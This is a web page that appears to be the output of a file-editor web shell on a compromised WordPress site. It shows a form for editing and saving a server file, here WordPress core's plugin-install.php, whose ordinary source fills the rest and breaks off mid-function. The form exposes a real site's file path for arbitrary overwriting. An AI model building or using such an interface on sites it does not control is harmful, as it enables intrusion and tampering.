<h2>File Contents: /home/planet5/www/yanhuanghealthcare.co.uk/wp-admin/includes/plugin-install.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yanhuanghealthcare.co.uk/wp-admin/includes/plugin-install.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * WordPress Plugin Install Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Retrieves plugin installer pages from the WordPress.org Plugins API.
 *
 * It is possible for a plugin to override the Plugin API result with three
 * filters. Assume this is for plugins, which can extend on the Plugin Info to
 * offer more choices. This is very powerful and must be used with care when
 * overriding the filters.
 *
 * The first filter, {@see &#039;plugins_api_args&#039;}, is for the args and gives the action
 * as the second parameter. The hook for {@see &#039;plugins_api_args&#039;} must ensure that
 * an object is returned.
 *
 * The second filter, {@see &#039;plugins_api&#039;}, allows a plugin to override the WordPress.org
 * Plugin Installation API entirely. If `$action` is &#039;query_plugins&#039; or &#039;plugin_information&#039;,
 * an object MUST be passed. If `$action` is &#039;hot_tags&#039;, an array MUST be passed.
 *
 * Finally, the third filter, {@see &#039;plugins_api_result&#039;}, makes it possible to filter the
 * response object or array, depending on the `$action` type.
 *
 * Supported arguments per action:
 *
 * | Argument Name        | query_plugins | plugin_information | hot_tags |
 * | -------------------- | :-----------: | :----------------: | :------: |
 * | `$slug`              | No            |  Yes               | No       |
 * | `$per_page`          | Yes           |  No                | No       |
 * | `$page`              | Yes           |  No                | No       |
 * | `$number`            | No            |  No                | Yes      |
 * | `$search`            | Yes           |  No                | No       |
 * | `$tag`               | Yes           |  No                | No       |
 * | `$author`            | Yes           |  No                | No       |
 * | `$user`              | Yes           |  No                | No       |
 * | `$browse`            | Yes           |  No                | No       |
 * | `$locale`            | Yes           |  Yes               | No       |
 * | `$installed_plugins` | Yes           |  No                | No       |
 * | `$is_ssl`            | Yes           |  Yes               | No       |
 * | `$fields`            | Yes           |  Yes               | No       |
 *
 * @since 2.7.0
 *
 * @param string       $action API action to perform: &#039;query_plugins&#039;, &#039;plugin_information&#039;,
 *                             or &#039;hot_tags&#039;.
 * @param array|object $args   {
 *     Optional. Array or object of arguments to serialize for the Plugin Info API.
 *
 *     @type string  $slug              The plugin slug. Default empty.
 *     @type int     $per_page          Number of plugins per page. Default 24.
 *     @type int     $page              Number of current page. Default 1.
 *     @type int     $number            Number of tags or categories to be queried.
 *     @type string  $search            A search term. Default empty.
 *     @type string  $tag               Tag to filter plugins. Default empty.
 *     @type string  $author            Username of an plugin author to filter plugins. Default empty.
 *     @type string  $user              Username to query for their favorites. Default empty.
 *     @type string  $browse            Browse view: &#039;popular&#039;, &#039;new&#039;, &#039;beta&#039;, &#039;recommended&#039;.
 *     @type string  $locale            Locale to provide context-sensitive results. Default is the value
 *                                      of get_locale().
 *     @type string  $installed_plugins Installed plugins to provide context-sensitive results.
 *     @type bool    $is_ssl            Whether links should be returned with https or not. Default false.
 *     @type array   $fields            {
 *         Array of fields which should or should not be returned.
 *
 *         @type bool $short_description Whether to return the plugin short description. Default true.
 *         @type bool $description       Whether to return the plugin full description. Default false.
 *         @type bool $sections          Whether to return the plugin readme sections: description, installation,
 *                                       FAQ, screenshots, other notes, and changelog. Default false.
 *         @type bool $tested            Whether to return the &#039;Compatible up to&#039; value. Default true.
 *         @type bool $requires          Whether to return the required WordPress version. Default true.
 *         @type bool $requires_php      Whether to return the required PHP version. Default true.
 *         @type bool $rating            Whether to return the rating in percent and total number of ratings.
 *                                       Default true.
 *         @type bool $ratings           Whether to return the number of rating for each star (1-5). Default true.
 *         @type bool $downloaded        Whether to return the download count. Default true.
 *         @type bool $downloadlink      Whether to return the download link for the package. Default true.
 *         @type bool $last_updated      Whether to return the date of the last update. Default true.
 *         @type bool $added             Whether to return the date when the plugin was added to the wordpress.org
 *                                       repository. Default true.
 *         @type bool $tags              Whether to return the assigned tags. Default true.
 *         @type bool $compatibility     Whether to return the WordPress compatibility list. Default true.
 *         @type bool $homepage          Whether to return the plugin homepage link. Default true.
 *         @type bool $versions          Whether to return the list of all available versions. Default false.
 *         @type bool $donate_link       Whether to return the donation link. Default true.
 *         @type bool $reviews           Whether to return the plugin reviews. Default false.
 *         @type bool $banners           Whether to return the banner images links. Default false.
 *         @type bool $icons             Whether to return the icon links. Default false.
 *         @type bool $active_installs   Whether to return the number of active installations. Default false.
 *         @type bool $contributors      Whether to return the list of contributors. Default false.
 *     }
 * }
 * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
 *         {@link https://developer.wordpress.org/reference/functions/plugins_api/ function reference article}
 *         for more information on the make-up of possible return values depending on the value of `$action`.
 */
function plugins_api( $action, $args = array() ) {
	if ( is_array( $args ) ) {
		$args = (object) $args;
	}

	if ( &#039;query_plugins&#039; === $action ) {
		if ( ! isset( $args-&gt;per_page ) ) {
			$args-&gt;per_page = 24;
		}
	}

	if ( ! isset( $args-&gt;locale ) ) {
		$args-&gt;locale = get_user_locale();
	}

	if ( ! isset( $args-&gt;wp_version ) ) {
		$args-&gt;wp_version = substr( wp_get_wp_version(), 0, 3 ); // x.y
	}

	/**
	 * Filters the WordPress.org Plugin Installation API arguments.
	 *
	 * Important: An object MUST be returned to this filter.
	 *
	 * @since 2.7.0
	 *
	 * @param object $args   Plugin API arguments.
	 * @param string $action The type of information being requested from the Plugin Installation API.
	 */
	$args = apply_filters( &#039;plugins_api_args&#039;, $args, $action );

	/**
	 * Filters the response for the current WordPress.org Plugin Installation API request.
	 *
	 * Returning a non-false value will effectively short-circuit the WordPress.org API request.
	 *
	 * If `$action` is &#039;query_plugins&#039; or &#039;plugin_information&#039;, an object MUST be passed.
	 * If `$action` is &#039;hot_tags&#039;, an array should be passed.
	 *
	 * @since 2.7.0
	 *
	 * @param false|object|array $result The result object or array. Default false.
	 * @param string             $action The type of information being requested from the Plugin Installation API.
	 * @param object             $args   Plugin API arguments.
	 */
	$res = apply_filters( &#039;plugins_api&#039;, false, $action, $args );

	if ( false === $res ) {

		$url = &#039;http://api.wordpress.org/plugins/info/1.2/&#039;;
		$url = add_query_arg(
			array(
				&#039;action&#039;  =&gt; $action,
				&#039;request&#039; =&gt; $args,
			),
			$url
		);

		$http_url = $url;
		$ssl      = wp_http_supports( array( &#039;ssl&#039; ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, &#039;https&#039; );
		}

		$http_args = array(
			&#039;timeout&#039;    =&gt; 15,
			&#039;user-agent&#039; =&gt; &#039;WordPress/&#039; . wp_get_wp_version() . &#039;; &#039; . home_url( &#039;/&#039; ),
		);
		$request   = wp_remote_get( $url, $http_args );

		if ( $ssl &amp;&amp; is_wp_error( $request ) ) {
			if ( ! wp_is_json_request() ) {
				wp_trigger_error(
					__FUNCTION__,
					sprintf(
						/* translators: %s: Support forums URL. */
						__( &#039;An unexpected error occurred. Something may be wrong with WordPress.org or this server&amp;#8217;s configuration. If you continue to have problems, please try the &lt;a href=&quot;%s&quot;&gt;support forums&lt;/a&gt;.&#039; ),
						__( &#039;https://wordpress.org/support/forums/&#039; )
					) . &#039; &#039; . __( &#039;(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)&#039; ),
					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
				);
			}

			$request = wp_remote_get( $http_url, $http_args );
		}

		if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				&#039;plugins_api_failed&#039;,
				sprintf(
					/* translators: %s: Support forums URL. */
					__( &#039;An unexpected error occurred. Something may be wrong with WordPress.org or this server&amp;#8217;s configuration. If you continue to have problems, please try the &lt;a href=&quot;%s&quot;&gt;support forums&lt;/a&gt;.&#039; ),
					__( &#039;https://wordpress.org/support/forums/&#039; )
				),
				$request-&gt;get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( is_array( $res ) ) {
				// Object casting is required in order to match the info/1.0 format.
				$res = (object) $res;
			} elseif ( null === $res ) {
				$res = new WP_Error(
					&#039;plugins_api_failed&#039;,
					sprintf(
						/* translators: %s: Support forums URL. */
						__( &#039;An unexpected error occurred. Something may be wrong with WordPress.org or this server&amp;#8217;s configuration. If you continue to have problems, please try the &lt;a href=&quot;%s&quot;&gt;support forums&lt;/a&gt;.&#039; ),
						__( &#039;https://wordpress.org/support/forums/&#039; )
					),
					wp_remote_retrieve_body( $request )
				);
			}

			if ( isset( $res-&gt;error ) ) {
				$res = new WP_Error( &#039;plugins_api_failed&#039;, $res-&gt;error );
			}
		}
	} elseif ( ! is_wp_error( $res ) ) {
		$res-&gt;external = true;
	}

	/**
	 * Filters the Plugin Installation API response results.
	 *
	 * @since 2.7.0
	 *
	 * @param object|WP_Error $res    Response object or WP_Error.
	 * @param string          $action The type of information being requested from the Plugin Installation API.
	 * @param object          $args   Plugin API arguments.
	 */
	return apply_filters( &#039;plugins_api_result&#039;, $res, $action, $args );
}

/**
 * Retrieves popular WordPress plugin tags.
 *
 * @since 2.7.0
 *
 * @param array $args
 * @return array|WP_Error
 */
function install_popular_tags( $args = array() ) {
	$key  = md5( serialize( $args ) );
	$tags = get_site_transient( &#039;poptags_&#039; . $key );
	if ( false !== $tags ) {
		return $tags;
	}

	$tags = plugins_api( &#039;hot_tags&#039;, $args );

	if ( is_wp_error( $tags ) ) {
		return $tags;
	}

	set_site_transient( &#039;poptags_&#039; . $key, $tags, 3 * HOUR_IN_SECONDS );

	return $tags;
}

/**
 * Displays the Featured tab of Add Plugins screen.
 *
 * @since 2.7.0
 */
function install_dashboard() {
	display_plugins_table();
	?&gt;

	&lt;div class=&quot;plugins-popular-tags-wrapper&quot;&gt;
	&lt;h2&gt;&lt;?php _e( &#039;Popular tags&#039; ); ?&gt;&lt;/h2&gt;
	&lt;p&gt;&lt;?php _e( &#039;You may also browse based on the most popular tags in the Plugin Directory:&#039; ); ?&gt;&lt;/p&gt;
	&lt;?php

	$api_tags = install_popular_tags();

	echo &#039;&lt;p class=&quot;popular-tags&quot;&gt;&#039;;
	if ( is_wp_error( $api_tags ) ) {
		echo $api_tags-&gt;get_error_message();
	} else {
		// Set up the tags in a way which can be interpreted by wp_generate_tag_cloud().
		$tags = array();
		foreach ( (array) $api_tags as $tag ) {
			$url                  = self_admin_url( &#039;plugin-install.php?tab=search&amp;type=tag&amp;s=&#039; . urlencode( $tag[&#039;name&#039;] ) );
			$data                 = array(
				&#039;link&#039;  =&gt; esc_url( $url ),
				&#039;name&#039;  =&gt; $tag[&#039;name&#039;],
				&#039;slug&#039;  =&gt; $tag[&#039;slug&#039;],
				&#039;id&#039;    =&gt; sanitize_title_with_dashes( $tag[&#039;name&#039;] ),
				&#039;count&#039; =&gt; $tag[&#039;count&#039;],
			);
			$tags[ $tag[&#039;name&#039;] ] = (object) $data;
		}
		echo wp_generate_tag_cloud(
			$tags,
			array(
				/* translators: %s: Number of plugins. */
				&#039;single_text&#039;   =&gt; __( &#039;%s plugin&#039; ),
				/* translators: %s: Number of plugins. */
				&#039;multiple_text&#039; =&gt; __( &#039;%s plugins&#039; ),
			)
		);
	}
	echo &#039;&lt;/p&gt;&lt;br class=&quot;clear&quot; /&gt;&lt;/div&gt;&#039;;
}

/**
 * Displays a search form for searching plugins.
 *
 * @since 2.7.0
 * @since 4.6.0 The `$type_selector` parameter was deprecated.
 *
 * @param bool $deprecated Not used.
 */
function install_search_form( $deprecated = true ) {
	$type = isset( $_REQUEST[&#039;type&#039;] ) ? wp_unslash( $_REQUEST[&#039;type&#039;] ) : &#039;term&#039;;
	$term = isset( $_REQUEST[&#039;s&#039;] ) ? urldecode( wp_unslash( $_REQUEST[&#039;s&#039;] ) ) : &#039;&#039;;
	?&gt;
	&lt;form class=&quot;search-form search-plugins&quot; method=&quot;get&quot;&gt;
		&lt;input type=&quot;hidden&quot; name=&quot;tab&quot; value=&quot;search&quot; /&gt;
		&lt;label for=&quot;search-plugins&quot;&gt;&lt;?php _e( &#039;Search Plugins&#039; ); ?&gt;&lt;/label&gt;
		&lt;input type=&quot;search&quot; name=&quot;s&quot; id=&quot;search-plugins&quot; value=&quot;&lt;?php echo esc_attr( $term ); ?&gt;&quot; class=&quot;wp-filter-search&quot; /&gt;
		&lt;label class=&quot;screen-reader-text&quot; for=&quot;typeselector&quot;&gt;
			&lt;?php
			/* translators: Hidden accessibility text. */
			_e( &#039;Search plugins by:&#039; );
			?&gt;
		&lt;/label&gt;
		&lt;select name=&quot;type&quot; id=&quot;typeselector&quot;&gt;
			&lt;option value=&quot;term&quot;&lt;?php selected( &#039;term&#039;, $type ); ?&gt;&gt;&lt;?php _e( &#039;Keyword&#039; ); ?&gt;&lt;/option&gt;
			&lt;option value=&quot;author&quot;&lt;?php selected( &#039;author&#039;, $type ); ?&gt;&gt;&lt;?php _e( &#039;Author&#039; ); ?&gt;&lt;/option&gt;
			&lt;option value=&quot;tag&quot;&lt;?php selected( &#039;tag&#039;, $type ); ?&gt;&gt;&lt;?php _ex( &#039;Tag&#039;, &#039;Plugin Installer&#039; ); ?&gt;&lt;/option&gt;
		&lt;/select&gt;
		&lt;?php submit_button( __( &#039;Search Plugins&#039; ), &#039;hide-if-js&#039;, false, false, array( &#039;id&#039; =&gt; &#039;search-submit&#039; ) ); ?&gt;
	&lt;/form&gt;
	&lt;?php
}

/**
 * Displays a form to upload plugins from zip files.
 *
 * @since 2.8.0
 */
function install_plugins_upload() {
	?&gt;
&lt;div class=&quot;upload-plugin&quot;&gt;
	&lt;p class=&quot;install-help&quot;&gt;&lt;?php _e( &#039;If you have a plugin in a .zip format, you may install or update it by uploading it here.&#039; ); ?&gt;&lt;/p&gt;
	&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; class=&quot;wp-upload-form&quot; action=&quot;&lt;?php echo esc_url( self_admin_url( &#039;update.php?action=upload-plugin&#039; ) ); ?&gt;&quot;&gt;
		&lt;?php wp_nonce_field( &#039;plugin-upload&#039; ); ?&gt;
		&lt;label class=&quot;screen-reader-text&quot; for=&quot;pluginzip&quot;&gt;
			&lt;?php
			/* translators: Hidden accessibility text. */
			_e( &#039;Plugin zip file&#039; );
			?&gt;
		&lt;/label&gt;
		&lt;input type=&quot;file&quot; id=&quot;pluginzip&quot; name=&quot;pluginzip&quot; accept=&quot;.zip&quot; /&gt;
		&lt;?php submit_button( _x( &#039;Install Now&#039;, &#039;plugin&#039; ), &#039;&#039;, &#039;install-plugin-submit&#039;, false ); ?&gt;
	&lt;/form&gt;
&lt;/div&gt;
	&lt;?php
}

/**
 * Shows a username form for the favorites page.
 *
 * @since 3.5.0
 */
function install_plugins_favorites_form() {
	$user   = get_user_option( &#039;wporg_favorites&#039; );
	$action = &#039;save_wporg_username_&#039; . get_current_user_id();
	?&gt;
	&lt;p&gt;&lt;?php _e( &#039;If you have marked plugins as favorites on WordPress.org, you can browse them here.&#039; ); ?&gt;&lt;/p&gt;
	&lt;form method=&quot;get&quot;&gt;
		&lt;input type=&quot;hidden&quot; name=&quot;tab&quot; value=&quot;favorites&quot; /&gt;
		&lt;p&gt;
			&lt;label for=&quot;user&quot;&gt;&lt;?php _e( &#039;Your WordPress.org username:&#039; ); ?&gt;&lt;/label&gt;
			&lt;input type=&quot;search&quot; id=&quot;user&quot; name=&quot;user&quot; value=&quot;&lt;?php echo esc_attr( $user ); ?&gt;&quot; /&gt;
			&lt;input type=&quot;submit&quot; class=&quot;button&quot; value=&quot;&lt;?php esc_attr_e( &#039;Get Favorites&#039; ); ?&gt;&quot; /&gt;
			&lt;input type=&quot;hidden&quot; id=&quot;wporg-username-nonce&quot; name=&quot;_wpnonce&quot; value=&quot;&lt;?php echo esc_attr( wp_create_nonce( $action ) ); ?&gt;&quot; /&gt;
		&lt;/p&gt;
	&lt;/form&gt;
	&lt;?php
}

/**
 * Displays plugin content based on plugin list.
 *
 * @since 2.7.0
 *
 * @global WP_List_Table $wp_list_table
 */
function display_plugins_table() {
	global $wp_list_table;

	switch ( current_filter() ) {
		case &#039;install_plugins_beta&#039;:
			printf(
				/* translators: %s: URL to &quot;Features as Plugins&quot; page. */
				&#039;&lt;p&gt;&#039; . __( &#039;You are using a development version of WordPress. These feature plugins are also under development. &lt;a href=&quot;%s&quot;&gt;Learn more&lt;/a&gt;.&#039; ) . &#039;&lt;/p&gt;&#039;,
				&#039;https://make.wordpress.org/core/handbook/about/release-cycle/features-as-plugins/&#039;
			);
			break;
		case &#039;install_plugins_featured&#039;:
			printf(
				/* translators: %s: https://wordpress.org/plugins/ */
				&#039;&lt;p&gt;&#039; . __( &#039;Plugins extend and expand the functionality of WordPress. You may install plugins in the &lt;a href=&quot;%s&quot;&gt;WordPress Plugin Directory&lt;/a&gt; right from here, or upload a plugin in .zip format by clicking the button at the top of this page.&#039; ) . &#039;&lt;/p&gt;&#039;,
				__( &#039;https://wordpress.org/plugins/&#039; )
			);
			break;
		case &#039;install_plugins_recommended&#039;:
			echo &#039;&lt;p&gt;&#039; . __( &#039;These suggestions are based on the plugins you and other users have installed.&#039; ) . &#039;&lt;/p&gt;&#039;;
			break;
		case &#039;install_plugins_favorites&#039;:
			if ( empty( $_GET[&#039;user&#039;] ) &amp;&amp; ! get_user_option( &#039;wporg_favorites&#039; ) ) {
				return;
			}
			break;
	}
	?&gt;
	&lt;form id=&quot;plugin-filter&quot; method=&quot;post&quot;&gt;
		&lt;?php $wp_list_table-&gt;display(); ?&gt;
	&lt;/form&gt;
	&lt;?php
}

/**
 * Determines the status we can perform on a plugin.
 *
 * @since 3.0.0
 *
 * @param array|object $api  Data about the plugin retrieved from the API.
 * @param bool         $loop Optional. Disable further loops. Default false.
 * @return array {
 *     Plugin installation status data.
 *
 *     @type string $status  Status of a plugin. Could be one of &#039;install&#039;, &#039;update_available&#039;, &#039;latest_installed&#039; or &#039;newer_installed&#039;.
 *     @type string $url     Plugin installation URL.
 *     @type string $version The most recent version of the plugin.
 *     @type string $file    Plugin filename relative to the plugins directory.
 * }
 */
function install_plugin_install_status( $api, $loop = false ) {
	// This function is called recursively, $loop prevents further loops.
	if ( is_array( $api ) ) {
		$api = (object) $api;
	}

	// Default to a &quot;new&quot; plugin.
	$status      = &#039;install&#039;;
	$url         = false;
	$update_file = false;
	$version     = &#039;&#039;;

	/*
	 * Check to see if this plugin is known to be installed,
	 * and has an update awaiting it.
	 */
	$update_plugins = get_site_transient( &#039;update_plugins&#039; );
	if ( isset( $update_plugins-&gt;response ) ) {
		foreach ( (array) $update_plugins-&gt;response as $file =&gt; $plugin ) {
			if ( $plugin-&gt;slug === $api-&gt;slug ) {
				$status      = &#039;update_available&#039;;
				$update_file = $file;
				$version     = $plugin-&gt;new_version;
				if ( current_user_can( &#039;update_plugins&#039; ) ) {
					$url = wp_nonce_url( self_admin_url( &#039;update.php?action=upgrade-plugin&amp;plugin=&#039; . $update_file ), &#039;upgrade-plugin_&#039; . $update_file );
				}
				break;
			}
		}
	}

	if ( &#039;install&#039; === $status ) {
		if ( is_dir( WP_PLUGIN_DIR . &#039;/&#039; . $api-&gt;slug ) ) {
			$installed_plugin = get_plugins( &#039;/&#039; . $api-&gt;slug );
			if ( empty( $installed_plugin ) ) {
				if ( current_user_can( &#039;install_plugins&#039; ) ) {
					$url = wp_nonce_url( self_admin_url( &#039;update.php?action=install-plugin&amp;plugin=&#039; . $api-&gt;slug ), &#039;install-plugin_&#039; . $api-&gt;slug );
				}
			} else {
				$key = array_keys( $installed_plugin );
				/*
				 * Use the first plugin regardless of the name.
				 * Could have issues for multiple plugins in one directory if they share different version numbers.
				 */
				$key = reset( $key );

				$update_file = $api-&gt;slug . &#039;/&#039; . $key;
				if ( version_compare( $api-&gt;version, $installed_plugin[ $key ][&#039;Version&#039;], &#039;=&#039; ) ) {
					$status = &#039;latest_installed&#039;;
				} elseif ( version_compare( $api-&gt;version, $installed_plugin[ $key ][&#039;Version&#039;], &#039;&lt;&#039; ) ) {
					$status  = &#039;newer_installed&#039;;
					$version = $installed_plugin[ $key ][&#039;Version&#039;];
				} else {
					// If the above update check failed, then that probably means that the update checker has out-of-date information, force a refresh.
					if ( ! $loop ) {
						delete_site_transient( &#039;update_plugins&#039; );
						wp_update_plugins();
						return install_plugin_install_status( $api, true );
					}
				}
			}
		} else {
			// &quot;install&quot; &amp; no directory with that slug.
			if ( current_user_can( &#039;install_plugins&#039; ) ) {
				$url = wp_nonce_url( self_admin_url( &#039;update.php?action=install-plugin&amp;plugin=&#039; . $api-&gt;slug ), &#039;install-plugin_&#039; . $api-&gt;slug );
			}
		}
	}
	if ( isset( $_GET[&#039;from&#039;] ) ) {
		$url .= &#039;&amp;amp;from=&#039; . urlencode( wp_unslash( $_GET[&#039;from&#039;] ) );
	}

	$file = $update_file;
	return compact( &#039;status&#039;, &#039;url&#039;, &#039;version&#039;, &#039;file&#039; );
}

/**
 * Displays plugin information in dialog box form.
 *
 * @since 2.7.0
 *
 * @global string $tab
 */
function install_plugin_information() {
	global $tab;

	if ( empty( $_REQUEST[&#039;plugin&#039;] ) ) {
		return;
	}

	$api = plugins_api(
		&#039;plugin_information&#039;,
		array(
			&#039;slug&#039; =&gt; wp_unslash( $_REQUEST[&#039;plugin&#039;] ),
		)
	);

	if ( is_wp_error( $api ) ) {
		wp_die( $api );
	}

	$plugins_allowedtags = array(
		&#039;a&#039;          =&gt; array(
			&#039;href&#039;   =&gt; array(),
			&#039;title&#039;  =&gt; array(),
			&#039;target&#039; =&gt; array(),
		),
		&#039;abbr&#039;       =&gt; array( &#039;title&#039; =&gt; array() ),
		&#039;acronym&#039;    =&gt; array( &#039;title&#039; =&gt; array() ),
		&#039;code&#039;       =&gt; array(),
		&#039;pre&#039;        =&gt; array(),
		&#039;em&#039;         =&gt; array(),
		&#039;strong&#039;     =&gt; array(),
		&#039;div&#039;        =&gt; array( &#039;class&#039; =&gt; array() ),
		&#039;span&#039;       =&gt; array( &#039;class&#039; =&gt; array() ),
		&#039;p&#039;          =&gt; array(),
		&#039;br&#039;         =&gt; array(),
		&#039;ul&#039;         =&gt; array(),
		&#039;ol&#039;         =&gt; array(),
		&#039;li&#039;         =&gt; array(),
		&#039;h1&#039;         =&gt; array(),
		&#039;h2&#039;         =&gt; array(),
		&#039;h3&#039;         =&gt; array(),
		&#039;h4&#039;         =&gt; array(),
		&#039;h5&#039;         =&gt; array(),
		&#039;h6&#039;         =&gt; array(),
		&#039;img&#039;        =&gt; array(
			&#039;src&#039;   =&gt; array(),
			&#039;class&#039; =&gt; array(),
			&#039;alt&#039;   =&gt; array(),
		),
		&#039;blockquote&#039; =&gt; array( &#039;cite&#039; =&gt; true ),
	);

	$plugins_section_titles = array(
		&#039;description&#039;  =&gt; _x( &#039;Description&#039;, &#039;Plugin installer section title&#039; ),
		&#039;installation&#039; =&gt; _x( &#039;Installation&#039;, &#039;Plugin installer section title&#039; ),
		&#039;faq&#039;          =&gt; _x( &#039;FAQ&#039;, &#039;Plugin installer section title&#039; ),
		&#039;screenshots&#039;  =&gt; _x( &#039;Screenshots&#039;, &#039;Plugin installer section title&#039; ),
		&#039;changelog&#039;    =&gt; _x( &#039;Changelog&#039;, &#039;Plugin installer section title&#039; ),
		&#039;reviews&#039;      =&gt; _x( &#039;Reviews&#039;, &#039;Plugin installer section title&#039; ),
		&#039;other_notes&#039;  =&gt; _x( &#039;Other Notes&#039;, &#039;Plugin installer section title&#039; ),
	);

	// Sanitize HTML.
	foreach ( (array) $api-&gt;sections as $section_name =&gt; $content ) {
		$api-&gt;sections[ $section_name ] = wp_kses( $content, $plugins_allowedtags );
	}

	foreach ( array( &#039;version&#039;, &#039;author&#039;, &#039;requires&#039;, &#039;tested&#039;, &#039;homepage&#039;, &#039;downloaded&#039;, &#039;slug&#039; ) as $key ) {
		if ( isset( $api-&gt;$key ) ) {
			$api-&gt;$key = wp_kses( $api-&gt;$key, $plugins_allowedtags );
		}
	}

	$_tab = esc_attr( $tab );

	// Default to the Description tab, Do not translate, API returns English.
	$section = isset( $_REQUEST[&#039;section&#039;] ) ? wp_unslash( $_REQUEST[&#039;section&#039;] ) : &#039;description&#039;;
	if ( empty( $section ) || ! isset( $api-&gt;sections[ $section ] ) ) {
		$section_titles = array_keys( (array) $api-&gt;sections );
		$section        = reset( $section_titles );
	}

	iframe_header( __( &#039;Plugin Installation&#039; ) );

	$_with_banner = &#039;&#039;;

	if ( ! empty( $api-&gt;banners ) &amp;&amp; ( ! empty( $api-&gt;banners[&#039;low&#039;] ) || ! empty( $api-&gt;banners[&#039;high&#039;] ) ) ) {
		$_with_banner = &#039;with-banner&#039;;
		$low          = empty( $api-&gt;banners[&#039;low&#039;] ) ? $api-&gt;banners[&#039;high&#039;] : $api-&gt;banners[&#039;low&#039;];
		$high         = empty( $api-&gt;banners[&#039;high&#039;] ) ? $api-&gt;banners[&#039;low&#039;] : $api-&gt;banners[&#039;high&#039;];
		?&gt;
		&lt;style type=&quot;text/css&quot;&gt;
			#plugin-information-title.with-banner {
				background-image: url( &lt;?php echo esc_url( $low ); ?&gt; );
			}
			@media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) {
				#plugin-information-title.with-banner {
					background-image: url( &lt;?php echo esc_url( $high ); ?&gt; );
				}
			}
		&lt;/style&gt;
		&lt;?php
	}

	echo &#039;&lt;div id=&quot;plugin-information-scrollable&quot;&gt;&#039;;
	echo &quot;&lt;div id=&#039;{$_tab}-title&#039; class=&#039;{$_with_banner}&#039;&gt;&lt;div class=&#039;vignette&#039;&gt;&lt;/div&gt;&lt;h2&gt;{$api-&gt;name}&lt;/h2&gt;&lt;/div&gt;&quot;;
	echo &quot;&lt;div id=&#039;{$_tab}-tabs&#039; class=&#039;{$_with_banner}&#039;&gt;\n&quot;;

	foreach ( (array) $api-&gt;sections as $section_name =&gt; $content ) {
		if ( &#039;reviews&#039; === $section_name &amp;&amp; ( empty( $api-&gt;ratings ) || 0 === array_sum( (array) $api-&gt;ratings ) ) ) {
			continue;
		}

		if ( isset( $plugins_section_titles[ $section_name ] ) ) {
			$title = $plugins_section_titles[ $section_name ];
		} else {
			$title = ucwords( str_replace( &#039;_&#039;, &#039; &#039;, $section_name ) );
		}

		$class       = ( $section_name === $section ) ? &#039; class=&quot;current&quot;&#039; : &#039;&#039;;
		$href        = add_query_arg(
			array(
				&#039;tab&#039;     =&gt; $tab,
				&#039;section&#039; =&gt; $section_name,
			)
		);
		$href        = esc_url( $href );
		$san_section = esc_attr( $section_name );
		echo &quot;\t&lt;a name=&#039;$san_section&#039; href=&#039;$href&#039; $class&gt;$title&lt;/a&gt;\n&quot;;
	}

	echo &quot;&lt;/div&gt;\n&quot;;

	?&gt;
&lt;div id=&quot;&lt;?php echo $_tab; ?&gt;-content&quot; class=&#039;&lt;?php echo $_with_banner; ?&gt;&#039;&gt;
	&lt;div class=&quot;fyi&quot;&gt;
		&lt;ul&gt;
			&lt;?php if ( ! empty( $api-&gt;version ) ) { ?&gt;
				&lt;li&gt;&lt;strong&gt;&lt;?php _e( &#039;Version:&#039; ); ?&gt;&lt;/strong&gt; &lt;?php echo $api-&gt;version; ?&gt;&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;author ) ) { ?&gt;
				&lt;li&gt;&lt;strong&gt;&lt;?php _e( &#039;Author:&#039; ); ?&gt;&lt;/strong&gt; &lt;?php echo links_add_target( $api-&gt;author, &#039;_blank&#039; ); ?&gt;&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;last_updated ) ) { ?&gt;
				&lt;li&gt;&lt;strong&gt;&lt;?php _e( &#039;Last Updated:&#039; ); ?&gt;&lt;/strong&gt;
					&lt;?php
					/* translators: %s: Human-readable time difference. */
					printf( __( &#039;%s ago&#039; ), human_time_diff( strtotime( $api-&gt;last_updated ) ) );
					?&gt;
				&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;requires ) ) { ?&gt;
				&lt;li&gt;
					&lt;strong&gt;&lt;?php _e( &#039;Requires WordPress Version:&#039; ); ?&gt;&lt;/strong&gt;
					&lt;?php
					/* translators: %s: Version number. */
					printf( __( &#039;%s or higher&#039; ), $api-&gt;requires );
					?&gt;
				&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;tested ) ) { ?&gt;
				&lt;li&gt;&lt;strong&gt;&lt;?php _e( &#039;Compatible up to:&#039; ); ?&gt;&lt;/strong&gt; &lt;?php echo $api-&gt;tested; ?&gt;&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;requires_php ) ) { ?&gt;
				&lt;li&gt;
					&lt;strong&gt;&lt;?php _e( &#039;Requires PHP Version:&#039; ); ?&gt;&lt;/strong&gt;
					&lt;?php
					/* translators: %s: Version number. */
					printf( __( &#039;%s or higher&#039; ), $api-&gt;requires_php );
					?&gt;
				&lt;/li&gt;
			&lt;?php } if ( isset( $api-&gt;active_installs ) ) { ?&gt;
				&lt;li&gt;&lt;strong&gt;&lt;?php _e( &#039;Active Installations:&#039; ); ?&gt;&lt;/strong&gt;
				&lt;?php
				if ( $api-&gt;active_installs &gt;= 1000000 ) {
					$active_installs_millions = floor( $api-&gt;active_installs / 1000000 );
					printf(
						/* translators: %s: Number of millions. */
						_nx( &#039;%s+ Million&#039;, &#039;%s+ Million&#039;, $active_installs_millions, &#039;Active plugin installations&#039; ),
						number_format_i18n( $active_installs_millions )
					);
				} elseif ( $api-&gt;active_installs &lt; 10 ) {
					_ex( &#039;Less Than 10&#039;, &#039;Active plugin installations&#039; );
				} else {
					echo number_format_i18n( $api-&gt;active_installs ) . &#039;+&#039;;
				}
				?&gt;
				&lt;/li&gt;
			&lt;?php } if ( ! empty( $api-&gt;slug ) &amp;&amp; empty( $api-&gt;external ) ) { ?&gt;
